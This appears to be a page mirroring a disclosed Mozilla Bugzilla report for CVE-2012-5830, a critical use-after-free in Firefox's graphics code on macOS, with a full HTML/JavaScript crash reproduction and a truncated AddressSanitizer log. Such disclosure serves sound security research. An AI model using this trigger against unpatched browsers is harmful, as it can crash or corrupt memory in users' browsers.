Skip to content
Memory corruption Disclosed report CVE-2012-5830

use-after-free when loading html file on osx

miaubiz Follow

Originally disclosed on Mozilla

Critical View original
  • Fixed in 3 months
  • Paid in 12 months
  • Disclosed after 3 months
Text
Created attachment 643508
repro, asan log, crashwrangler logs.

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11

Steps to reproduce:

loaded:


<html>
  <head>
    <style>
      #el0 { -moz-perspective: 1px; } 
      #el1 { -moz-transform: rotateY(1deg); } 
      #el2 { width: 40000; } 
    </style>
    <script> 
      onload = function() {
        el0=document.createElement('div') 
        el0.setAttribute('id','el0') 
        document.body.appendChild(el0) 
        el1=document.createElement('tr') 
        el1.setAttribute('id','el1') 
        el0.appendChild(el1) 
        el2=document.createElement('input') 
        el2.setAttribute('id','el2') 
        el1.appendChild(el2) 
        document.body.offsetTop
        setTimeout(function() {
          window.open(document.location)
        },2000)
      }
    </script>
  </head>
  <body>
  </body>
</html>



Actual results:

asan said:

==18953== ERROR: AddressSanitizer heap-use-after-free on address 0x000131e9d480 at pc 0x106e8cecc bp 0x7fff5fbeead0 sp 0x7fff5fbeeac8
READ of size 8 at 0x000131e9d480 thread T0
    #0 0x106e8cecc in _ZN7mozilla6layersL15PixmanTransformEPK15gfxImageSurfaceS3_RK11gfx3DMatrix8gfxPoint (in XUL) + 764
    #1 0x106e8b1c6 in _ZN7mozilla6layersL11Transform3DEP11gfxASurfaceP10gfxContextRK7gfxRectRK11gfx3DMatrixR8gfxPointb (in XUL) + 1990
    #2 0x106e8a236 in mozilla::layers::BasicLayerManager::PaintLayer(gfxContext*, mozilla::layers::Layer*, void (*)(mozilla::layers::ThebesLayer*, gfxContext*, nsIntRegion const&, nsIntRegion const&, void*), void*, mozilla::layers::ReadbackProcessor*) (in XUL) + 5254
    #3 0x106e89e6f in mozilla::layers::BasicLayerManager::PaintLayer(gfxContext*, mozilla::layers::Layer*, void 

0x000131e9d480 is located 0 bytes inside of 72-byte region [0x000131e9d480,0x000131e9d4c8)
freed by thread T0 here:
    #0 0x10000d095 in (anonymous namespace)::mz_free(_malloc_zone_t*, void*) (in firefox) + 85
    #1 0x10000cb10 in wrap_free (in firefox) + 80
    #2 0x106df1a46 in gfxASurface::Release() (in XUL) + 310
    #3 0x106e70557 in gfxQuartzSurface::GetAsImageSurface() (in XUL) + 343
    #4 0x106e8abd2 in 


Expected results:

:D

The original report as published on Mozilla's Bugzilla, by miaubiz. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A critical-severity memory corruption bug in Graphics. Mozilla made it public on 25 October 2012 as CVE-2012-5830.

About Memory corruption

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by miaubiz

View all

10 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.